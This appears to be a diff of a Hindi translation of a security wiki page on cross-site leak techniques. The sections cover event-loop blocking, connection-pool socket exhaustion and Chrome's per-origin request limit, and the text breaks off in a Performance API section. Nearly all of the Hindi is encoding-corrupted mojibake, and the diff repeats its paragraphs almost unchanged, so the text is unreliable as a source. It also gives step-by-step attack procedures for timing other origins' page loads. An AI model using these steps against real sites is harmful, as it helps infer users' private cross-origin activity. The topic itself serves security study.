**рдЗрд╡реЗрдВрдЯ рд▓реВрдк рдлрд┐рд░ рд╕реЗ рдЙрдкрд▓рдмреНрдз рд╣реЛрдиреЗ рдореЗрдВ рдХрд┐рддрдирд╛ рд╕рдордп рд▓рдЧрддрд╛ рд╣реИ** рдХреЛ рдорд╛рдкрдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИред рдПрдХ рдЕрд╡рд░реБрджреНрдз рдСрдкрд░реЗрд╢рди (рдЬреИрд╕реЗ рд▓рдВрдмреА рдЧрдгрдирд╛ рдпрд╛ рд╕рдордХрд╛рд▓рд┐рдХ API рдХреЙрд▓) рдХреЛ рдЗрд╡реЗрдВрдЯ рд▓реВрдк рдореЗрдВ рдбрд╛рд▓рдХрд░, рдФрд░ рдмрд╛рдж рдХреЗ рдХреЛрдб рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рдХреА рд╢реБрд░реБрдЖрдд рдореЗрдВ рд▓рдЧрдиреЗ рд╡рд╛рд▓реЗ рд╕рдордп рдХреА рдирд┐рдЧрд░рд╛рдиреА рдХрд░рдХреЗ, рдпрд╣ рдЕрдиреБрдорд╛рди рд▓рдЧрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ рдЕрд╡рд░реБрджреНрдз рдЕрд╡рдзрд┐ рдХреЗ рджреМрд░рд╛рди рдЗрд╡реЗрдВрдЯ рд▓реВрдк рдореЗрдВ рдХреМрди рд╕реЗ рдХрд╛рд░реНрдп рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛ рд░рд╣реЗ рдереЗред рдпрд╣ рддрдХрдиреАрдХ JavaScript рдХреЗ рдЗрд╡реЗрдВрдЯ рд▓реВрдк рдХреА рдПрдХрд▓-рдереНрд░реЗрдбреЗрдб рдкреНрд░рдХреГрддрд┐ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рддреА рд╣реИ, рдЬрд╣рд╛рдВ рдХрд╛рд░реНрдп рдЕрдиреБрдХреНрд░рдо рдореЗрдВ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрддреЗ рд╣реИрдВ, рдФрд░ рдЕрдиреНрдп рдСрдкрд░реЗрд╢рдиреЛрдВ рдХреЗ рдкреНрд░рджрд░реНрд╢рди рдпрд╛ рд╡реНрдпрд╡рд╣рд╛рд░ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдВрддрд░реНрджреГрд╖реНрдЯрд┐ рдкреНрд░рджрд╛рди рдХрд░ рд╕рдХрддреА рд╣реИ рдЬреЛ рдЙрд╕реА рдереНрд░реЗрдб рдХреЛ рд╕рд╛рдЭрд╛ рдХрд░рддреЗ рд╣реИрдВред - **Code Example**: -рдЗрд╡реЗрдВрдЯ рд▓реВрдк рдХреЛ рд▓реЙрдХ рдХрд░рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рд╕рдордп рдХреЛ рдорд╛рдкрдиреЗ рдХреА рддрдХрдиреАрдХ рдХрд╛ рдПрдХ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд▓рд╛рдн **Site Isolation** рдХреЛ рджрд░рдХрд┐рдирд╛рд░ рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рд╣реИред **Site Isolation** рдПрдХ рд╕реБрд░рдХреНрд╖рд╛ рд╡рд┐рд╢реЗрд╖рддрд╛ рд╣реИ рдЬреЛ рд╡рд┐рднрд┐рдиреНрди рд╡реЗрдмрд╕рд╛рдЗрдЯреЛрдВ рдХреЛ рдЕрд▓рдЧ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдореЗрдВ рд╡рд┐рднрд╛рдЬрд┐рдд рдХрд░рддреА рд╣реИ, рдЬрд┐рд╕рдХрд╛ рдЙрджреНрджреЗрд╢реНрдп рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рд╕рд╛рдЗрдЯреЛрдВ рдХреЛ рдЕрдиреНрдп рд╕рд╛рдЗрдЯреЛрдВ рд╕реЗ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдбреЗрдЯрд╛ рддрдХ рд╕реАрдзреЗ рдкрд╣реБрдВрдЪрдиреЗ рд╕реЗ рд░реЛрдХрдирд╛ рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рд╕рд╛рдЭрд╛ рдЗрд╡реЗрдВрдЯ рд▓реВрдк рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рджреВрд╕рд░реЗ рдореВрд▓ рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рд╕рдордп рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░рдХреЗ, рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдЙрд╕ рдореВрд▓ рдХреА рдЧрддрд┐рд╡рд┐рдзрд┐рдпреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдкреНрд░рддреНрдпрдХреНрд╖ рд░реВрдк рд╕реЗ рдЬрд╛рдирдХрд╛рд░реА рдирд┐рдХрд╛рд▓ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ рд╡рд┐рдзрд┐ рджреВрд╕рд░реЗ рдореВрд▓ рдХреЗ рдбреЗрдЯрд╛ рддрдХ рд╕реАрдзреЗ рдкрд╣реБрдВрдЪ рдкрд░ рдирд┐рд░реНрднрд░ рдирд╣реАрдВ рдХрд░рддреА рд╣реИ, рдмрд▓реНрдХрд┐ рд╕рд╛рдЭрд╛ рдЗрд╡реЗрдВрдЯ рд▓реВрдк рдкрд░ рдЙрд╕ рдореВрд▓ рдХреА рдЧрддрд┐рд╡рд┐рдзрд┐рдпреЛрдВ рдХреЗ рдкреНрд░рднрд╛рд╡ рдХреЛ рджреЗрдЦрддреА рд╣реИ, рдЗрд╕ рдкреНрд░рдХрд╛рд░ **Site Isolation** рджреНрд╡рд╛рд░рд╛ рд╕реНрдерд╛рдкрд┐рдд рд╕реБрд░рдХреНрд╖рд╛рддреНрдордХ рдмрд╛рдзрд╛рдУрдВ рд╕реЗ рдмрдЪрддреА рд╣реИред +рдЗрд╡реЗрдВрдЯ рд▓реВрдк рдХреЛ рд▓реЙрдХ рдХрд░рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рд╕рдордп рдХреЛ рдорд╛рдкрдиреЗ рдХреА рддрдХрдиреАрдХ рдХрд╛ рдПрдХ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд▓рд╛рдн **Site Isolation** рдХреЛ рджрд░рдХрд┐рдирд╛рд░ рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рд╣реИред **Site Isolation** рдПрдХ рд╕реБрд░рдХреНрд╖рд╛ рд╡рд┐рд╢реЗрд╖рддрд╛ рд╣реИ рдЬреЛ рд╡рд┐рднрд┐рдиреНрди рд╡реЗрдмрд╕рд╛рдЗрдЯреЛрдВ рдХреЛ рдЕрд▓рдЧ-рдЕрд▓рдЧ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдореЗрдВ рд╡рд┐рднрд╛рдЬрд┐рдд рдХрд░рддреА рд╣реИ, рдЬрд┐рд╕рдХрд╛ рдЙрджреНрджреЗрд╢реНрдп рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рд╕рд╛рдЗрдЯреЛрдВ рдХреЛ рдЕрдиреНрдп рд╕рд╛рдЗрдЯреЛрдВ рд╕реЗ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдбреЗрдЯрд╛ рддрдХ рд╕реАрдзреЗ рдкрд╣реБрдВрдЪрдиреЗ рд╕реЗ рд░реЛрдХрдирд╛ рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рд╕рд╛рдЭрд╛ рдЗрд╡реЗрдВрдЯ рд▓реВрдк рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рджреВрд╕рд░реЗ рдореВрд▓ рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рд╕рдордп рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░рдХреЗ, рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдЙрд╕ рдореВрд▓ рдХреА рдЧрддрд┐рд╡рд┐рдзрд┐рдпреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдкреНрд░рддреНрдпрдХреНрд╖ рд░реВрдк рд╕реЗ рдЬрд╛рдирдХрд╛рд░реА рдирд┐рдХрд╛рд▓ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ рд╡рд┐рдзрд┐ рджреВрд╕рд░реЗ рдореВрд▓ рдХреЗ рдбреЗрдЯрд╛ рддрдХ рд╕реАрдзреЗ рдкрд╣реБрдВрдЪ рдкрд░ рдирд┐рд░реНрднрд░ рдирд╣реАрдВ рдХрд░рддреА рд╣реИ, рдмрд▓реНрдХрд┐ рд╕рд╛рдЭрд╛ рдЗрд╡реЗрдВрдЯ рд▓реВрдк рдкрд░ рдЙрд╕ рдореВрд▓ рдХреА рдЧрддрд┐рд╡рд┐рдзрд┐рдпреЛрдВ рдХреЗ рдкреНрд░рднрд╛рд╡ рдХреЛ рджреЗрдЦрддреА рд╣реИ, рдЗрд╕ рдкреНрд░рдХрд╛рд░ **Site Isolation** рджреНрд╡рд╛рд░рд╛ рд╕реНрдерд╛рдкрд┐рдд рд╕реБрд░рдХреНрд╖рд╛рддреНрдордХ рдмрд╛рдзрд╛рдУрдВ рд╕реЗ рдмрдЪрддреА рд╣реИред > [!WARNING] > рдирд┐рд╖реНрдкрд╛рджрди рд╕рдордп рдореЗрдВ **рдиреЗрдЯрд╡рд░реНрдХ рдХрд╛рд░рдХреЛрдВ** рдХреЛ **рд╣рдЯрд╛рдирд╛** рд╕рдВрднрд╡ рд╣реИ рддрд╛рдХрд┐ **рдЕрдзрд┐рдХ рд╕рдЯреАрдХ рдорд╛рдк** рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдкреГрд╖реНрда рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рд▓реЛрдб рдХрд░рдирд╛ред @@ -251,19 +251,19 @@ JavaScript рдПрдХ [рдПрдХрд▓-рдереНрд░реЗрдбреЗрдб рдЗрд╡реЗрдВрдЯ рд▓реВрдк](ht - **Inclusion Methods**: JavaScript Requests - **Detectable Difference**: Timing (generally due to Page Content, Status Code) - **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/) -- **Summary:** рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рд╕рднреА рд╕реЙрдХреЗрдЯреНрд╕ рдХреЛ рд▓реЙрдХ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рд╕рд┐рд╡рд╛рдп 1 рдХреЗ, рд▓рдХреНрд╖рд┐рдд рд╡реЗрдм рдХреЛ рд▓реЛрдб рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдПрдХ рд╣реА рд╕рдордп рдореЗрдВ рдПрдХ рдФрд░ рдкреГрд╖реНрда рд▓реЛрдб рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЕрдВрддрд┐рдо рдкреГрд╖реНрда рдХреЗ рд▓реЛрдб рд╣реЛрдирд╛ рд╢реБрд░реВ рд╣реЛрдиреЗ рддрдХ рдХрд╛ рд╕рдордп рд▓рдХреНрд╖рд┐рдд рдкреГрд╖реНрда рдХреЗ рд▓реЛрдб рд╣реЛрдиреЗ рдХрд╛ рд╕рдордп рд╣реИред +- **Summary:** рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рд╕рднреА рд╕реЙрдХреЗрдЯреНрд╕ рдХреЛ 1 рдХреЛ рдЫреЛрдбрд╝рдХрд░ рд▓реЙрдХ рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рд▓рдХреНрд╖рд┐рдд рд╡реЗрдм рдХреЛ рд▓реЛрдб рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдПрдХ рд╣реА рд╕рдордп рдореЗрдВ рдПрдХ рдФрд░ рдкреГрд╖реНрда рд▓реЛрдб рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЕрдВрддрд┐рдо рдкреГрд╖реНрда рдХреЗ рд▓реЛрдб рд╣реЛрдирд╛ рд╢реБрд░реВ рд╣реЛрдиреЗ рддрдХ рдХрд╛ рд╕рдордп рд▓рдХреНрд╖рд┐рдд рдкреГрд╖реНрда рдХреЗ рд▓реЛрдб рд╣реЛрдиреЗ рдХрд╛ рд╕рдордп рд╣реИред - **Code Example**: {{#ref}} xs-search/connection-pool-example.md {{#endref}} -рдмреНрд░рд╛рдЙрдЬрд╝рд░ рд╕рд░реНрд╡рд░ рд╕рдВрдЪрд╛рд░ рдХреЗ рд▓рд┐рдП рд╕реЙрдХреЗрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдФрд░ рд╣рд╛рд░реНрдбрд╡реЗрдпрд░ рдХреЗ рд╕реАрдорд┐рдд рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЗ рдХрд╛рд░рдг, **рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреЛ рд╕рдорд╡рд░реНрддреА рд╕реЙрдХреЗрдЯреНрд╕ рдХреА рд╕рдВрдЦреНрдпрд╛ рдкрд░ рдПрдХ рд╕реАрдорд╛ рд▓рд╛рдЧреВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ**ред рд╣рдорд▓рд╛рд╡рд░ рдЗрд╕ рд╕реАрдорд╛ рдХрд╛ рд╢реЛрд╖рдг рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЪрд░рдгреЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: +рдмреНрд░рд╛рдЙрдЬрд╝рд░ рд╕рд░реНрд╡рд░ рд╕рдВрдЪрд╛рд░ рдХреЗ рд▓рд┐рдП рд╕реЙрдХреЗрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдФрд░ рд╣рд╛рд░реНрдбрд╡реЗрдпрд░ рдХреЗ рд╕реАрдорд┐рдд рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЗ рдХрд╛рд░рдг, **рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреЛ рд╕рдорд╡рд░реНрддреА рд╕реЙрдХреЗрдЯреНрд╕ рдХреА рд╕рдВрдЦреНрдпрд╛ рдкрд░ рдПрдХ рд╕реАрдорд╛** рд▓рдЧрд╛рдиреА рдкрдбрд╝рддреА рд╣реИред рд╣рдорд▓рд╛рд╡рд░ рдЗрд╕ рд╕реАрдорд╛ рдХрд╛ рд╢реЛрд╖рдг рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЪрд░рдгреЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: 1. рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреЗ рд╕реЙрдХреЗрдЯ рдХреА рд╕реАрдорд╛ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдПрдВ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, 256 рд╡реИрд╢реНрд╡рд┐рдХ рд╕реЙрдХреЗрдЯред -2. 255 рд╕реЙрдХреЗрдЯреНрд╕ рдХреЛ рд▓рдВрдмреЗ рд╕рдордп рддрдХ рдмрдирд╛рдП рд░рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рд╡рд┐рднрд┐рдиреНрди рд╣реЛрд╕реНрдЯреЛрдВ рдХреЗ рд▓рд┐рдП 255 рдЕрдиреБрд░реЛрдз рд╢реБрд░реВ рдХрд░реЗрдВ, рдЬреЛ рдХрдиреЗрдХреНрд╢рди рдХреЛ рдЦреБрд▓реЗ рд░рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдП рдЧрдП рд╣реИрдВ рдмрд┐рдирд╛ рдкреВрд░рд╛ рдХрд┐рдПред -3. рд▓рдХреНрд╖рд┐рдд рдкреГрд╖реНрда рдХреЗ рд▓рд┐рдП рдЕрдиреБрд░реЛрдз рднреЗрдЬрдиреЗ рдХреЗ рд▓рд┐рдП 256рд╡рд╛рдВ рд╕реЙрдХреЗрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред -4. рдПрдХ рдЕрд▓рдЧ рд╣реЛрд╕реНрдЯ рдХреЗ рд▓рд┐рдП 257рд╡рд╛рдВ рдЕрдиреБрд░реЛрдз рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВред рдЪреВрдВрдХрд┐ рд╕рднреА рд╕реЙрдХреЗрдЯ рдЙрдкрдпреЛрдЧ рдореЗрдВ рд╣реИрдВ (рдЬреИрд╕рд╛ рдХрд┐ рдЪрд░рдг 2 рдФрд░ 3 рдореЗрдВ рд╣реИ), рдпрд╣ рдЕрдиреБрд░реЛрдз рддрдм рддрдХ рдХрддрд╛рд░рдмрджреНрдз рд╣реЛрдЧрд╛ рдЬрдм рддрдХ рдХреЛрдИ рд╕реЙрдХреЗрдЯ рдЙрдкрд▓рдмреНрдз рдирд╣реАрдВ рд╣реЛ рдЬрд╛рддрд╛ред рдЗрд╕ рдЕрдиреБрд░реЛрдз рдХреЗ рдЖрдЧреЗ рдмрдврд╝рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рдХреА рджреЗрд░реА рд╣рдорд▓рд╛рд╡рд░ рдХреЛ 256рд╡реЗрдВ рд╕реЙрдХреЗрдЯ (рд▓рдХреНрд╖рд┐рдд рдкреГрд╖реНрда рдХреЗ рд╕реЙрдХреЗрдЯ) рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рдиреЗрдЯрд╡рд░реНрдХ рдЧрддрд┐рд╡рд┐рдзрд┐ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╕рдордп рдХреА рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рджрд╛рди рдХрд░рддреА рд╣реИред рдпрд╣ рдЕрдиреБрдорд╛рди рд╕рдВрднрд╡ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдЪрд░рдг 2 рд╕реЗ 255 рд╕реЙрдХреЗрдЯ рдЕрднреА рднреА рд╡реНрдпрд╕реНрдд рд╣реИрдВ, рдпрд╣ рд╕рдВрдХреЗрдд рдХрд░рддреЗ рд╣реБрдП рдХрд┐ рдХреЛрдИ рднреА рдирдпрд╛ рдЙрдкрд▓рдмреНрдз рд╕реЙрдХреЗрдЯ рд╡рд╣ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП рдЬреЛ рдЪрд░рдг 3 рд╕реЗ рдореБрдХреНрдд рд╣реБрдЖ рд╣реЛред рдЗрд╕рд▓рд┐рдП 256рд╡реЗрдВ рд╕реЙрдХреЗрдЯ рдХреЗ рдЙрдкрд▓рдмреНрдз рд╣реЛрдиреЗ рдореЗрдВ рд▓рдЧрдиреЗ рд╡рд╛рд▓рд╛ рд╕рдордп рд╕реАрдзреЗ рд▓рдХреНрд╖рд┐рдд рдкреГрд╖реНрда рдХреЗ рдЕрдиреБрд░реЛрдз рдХреЛ рдкреВрд░рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╕рдордп рд╕реЗ рдЬреБрдбрд╝рд╛ рд╣реБрдЖ рд╣реИред +2. 255 рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ рд╡рд┐рднрд┐рдиреНрди рд╣реЛрд╕реНрдЯреЛрдВ рдкрд░ рд╢реБрд░реВ рдХрд░рдХреЗ 255 рд╕реЙрдХреЗрдЯреНрд╕ рдХреЛ рд▓рдВрдмреЗ рд╕рдордп рддрдХ рд╡реНрдпрд╕реНрдд рд░рдЦреЗрдВ, рдЬреЛ рдХрдиреЗрдХреНрд╢рди рдХреЛ рдЦреБрд▓реЗ рд░рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдП рдЧрдП рд╣реИрдВ рдмрд┐рдирд╛ рдкреВрд░рд╛ рдХрд┐рдПред +3. рд▓рдХреНрд╖рд┐рдд рдкреГрд╖реНрда рдХреЛ рднреЗрдЬрдиреЗ рдХреЗ рд▓рд┐рдП 256 рд╡реЗрдВ рд╕реЙрдХреЗрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред +4. рдПрдХ рдЕрд▓рдЧ рд╣реЛрд╕реНрдЯ рдкрд░ 257 рд╡рд╛рдВ рдЕрдиреБрд░реЛрдз рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВред рдЪреВрдВрдХрд┐ рд╕рднреА рд╕реЙрдХреЗрдЯ рдЙрдкрдпреЛрдЧ рдореЗрдВ рд╣реИрдВ (рдЬреИрд╕рд╛ рдХрд┐ рдЪрд░рдг 2 рдФрд░ 3 рдореЗрдВ рд╣реИ), рдпрд╣ рдЕрдиреБрд░реЛрдз рддрдм рддрдХ рдХрддрд╛рд░рдмрджреНрдз рд╣реЛрдЧрд╛ рдЬрдм рддрдХ рдХреЛрдИ рд╕реЙрдХреЗрдЯ рдЙрдкрд▓рдмреНрдз рдирд╣реАрдВ рд╣реЛ рдЬрд╛рддрд╛ред рдЗрд╕ рдЕрдиреБрд░реЛрдз рдХреЗ рдЖрдЧреЗ рдмрдврд╝рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рдХреА рджреЗрд░реА рд╣рдорд▓рд╛рд╡рд░ рдХреЛ 256 рд╡реЗрдВ рд╕реЙрдХреЗрдЯ (рд▓рдХреНрд╖рд┐рдд рдкреГрд╖реНрда рдХреЗ рд╕реЙрдХреЗрдЯ) рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рдиреЗрдЯрд╡рд░реНрдХ рдЧрддрд┐рд╡рд┐рдзрд┐ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╕рдордп рдХреА рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рджрд╛рди рдХрд░рддреА рд╣реИред рдпрд╣ рдЕрдиреБрдорд╛рди рд╕рдВрднрд╡ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдЪрд░рдг 2 рд╕реЗ 255 рд╕реЙрдХреЗрдЯ рдЕрднреА рднреА рд╡реНрдпрд╕реНрдд рд╣реИрдВ, рдпрд╣ рд╕рдВрдХреЗрдд рдХрд░рддреЗ рд╣реБрдП рдХрд┐ рдХреЛрдИ рднреА рдирдпрд╛ рдЙрдкрд▓рдмреНрдз рд╕реЙрдХреЗрдЯ рд╡рд╣ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП рдЬреЛ рдЪрд░рдг 3 рд╕реЗ рдореБрдХреНрдд рд╣реБрдЖ рд╣реЛред 256 рд╡реЗрдВ рд╕реЙрдХреЗрдЯ рдХреЗ рдЙрдкрд▓рдмреНрдз рд╣реЛрдиреЗ рдореЗрдВ рд▓рдЧрдиреЗ рд╡рд╛рд▓рд╛ рд╕рдордп рдЗрд╕ рдкреНрд░рдХрд╛рд░ рд╕реАрдзреЗ рд▓рдХреНрд╖рд┐рдд рдкреГрд╖реНрда рдХреЗ рдЕрдиреБрд░реЛрдз рдХреЛ рдкреВрд░рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╕рдордп рд╕реЗ рдЬреБрдбрд╝рд╛ рд╣реЛрддрд╛ рд╣реИред рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/) @@ -272,15 +272,15 @@ xs-search/connection-pool-example.md - **Inclusion Methods**: JavaScript Requests - **Detectable Difference**: Timing (generally due to Page Content, Status Code) - **More info**: -- **Summary:** рдпрд╣ рдкрд┐рдЫрд▓реЗ рддрдХрдиреАрдХ рдХреЗ рд╕рдорд╛рди рд╣реИ рд▓реЗрдХрд┐рди рд╕рднреА рд╕реЙрдХреЗрдЯреНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рдмрдЬрд╛рдп, Google **Chrome** рдПрдХ рд╣реА рдореВрд▓ рдХреЗ рд▓рд┐рдП **6 рд╕рдорд╡рд░реНрддреА рдЕрдиреБрд░реЛрдзреЛрдВ** рдХреА рд╕реАрдорд╛ рд▓рдЧрд╛рддрд╛ рд╣реИред рдпрджрд┐ рд╣рдо **5 рдХреЛ рдЕрд╡рд░реБрджреНрдз рдХрд░рддреЗ рд╣реИрдВ** рдФрд░ рдлрд┐рд░ **6рд╡рд╛рдВ** рдЕрдиреБрд░реЛрдз рд╢реБрд░реВ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рд╣рдо рдЗрд╕реЗ **рд╕рдордп** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдпрджрд┐ рд╣рдо **рдкреАрдбрд╝рд┐рдд рдкреГрд╖реНрда рдХреЛ** рдЙрд╕реА рдПрдВрдбрдкреЙрдЗрдВрдЯ рдкрд░ рдЕрдзрд┐рдХ **рдЕрдиреБрд░реЛрдз рднреЗрдЬрдиреЗ** рдореЗрдВ рд╕рдлрд▓ рд╣реЛрддреЗ рд╣реИрдВ, рддреЛ **6рд╡рд╛рдВ рдЕрдиреБрд░реЛрдз** **рд▓рдВрдмрд╛** рд╣реЛрдЧрд╛ рдФрд░ рд╣рдо рдЗрд╕реЗ рдкрд╣рдЪрд╛рди рд╕рдХрддреЗ рд╣реИрдВред +- **Summary:** рдпрд╣ рдкрд┐рдЫрд▓реЗ рддрдХрдиреАрдХ рдХреЗ рд╕рдорд╛рди рд╣реИ рд▓реЗрдХрд┐рди рд╕рднреА рд╕реЙрдХреЗрдЯреНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рдмрдЬрд╛рдп, Google **Chrome** рдПрдХ рд╣реА рдореВрд▓ рдХреЗ рд▓рд┐рдП **6 рд╕рдорд╡рд░реНрддреА рдЕрдиреБрд░реЛрдзреЛрдВ** рдХреА рд╕реАрдорд╛ рд▓рдЧрд╛рддрд╛ рд╣реИред рдпрджрд┐ рд╣рдо **5 рдХреЛ рдЕрд╡рд░реБрджреНрдз рдХрд░рддреЗ рд╣реИрдВ** рдФрд░ рдлрд┐рд░ **6 рд╡рд╛рдВ** рдЕрдиреБрд░реЛрдз рд▓реЙрдиреНрдЪ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рд╣рдо рдЗрд╕реЗ **рд╕рдордп** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдпрджрд┐ рд╣рдо **рдкреАрдбрд╝рд┐рдд рдкреГрд╖реНрда рдХреЛ** рдЙрд╕реА рдПрдВрдбрдкреЙрдЗрдВрдЯ рдкрд░ рдЕрдзрд┐рдХ **рдЕрдиреБрд░реЛрдз рднреЗрдЬрдиреЗ** рдореЗрдВ рд╕рдлрд▓ рд╣реЛрддреЗ рд╣реИрдВ, рддреЛ **6 рд╡рд╛рдВ рдЕрдиреБрд░реЛрдз** **рд▓рдВрдмрд╛** рд╣реЛрдЧрд╛ рдФрд░ рд╣рдо рдЗрд╕реЗ рдкрд╣рдЪрд╛рди рд╕рдХрддреЗ рд╣реИрдВред ## Performance API Techniques -[`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) рд╡реЗрдм рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреЗ рдкреНрд░рджрд░реНрд╢рди рдореЗрдЯреНрд░рд┐рдХреНрд╕ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕реЗ [`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API) рджреНрд╡рд╛рд░рд╛ рдФрд░ рд╕рдореГрджреНрдз рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред Resource Timing API рдиреЗрдЯрд╡рд░реНрдХ рдЕрдиреБрд░реЛрдз рд╕рдордп рдХреА рд╡рд┐рд╕реНрддреГрдд рдирд┐рдЧрд░рд╛рдиреА рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ, рдЬреИрд╕реЗ рдЕрдиреБрд░реЛрдзреЛрдВ рдХреА рдЕрд╡рдзрд┐ред рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ, 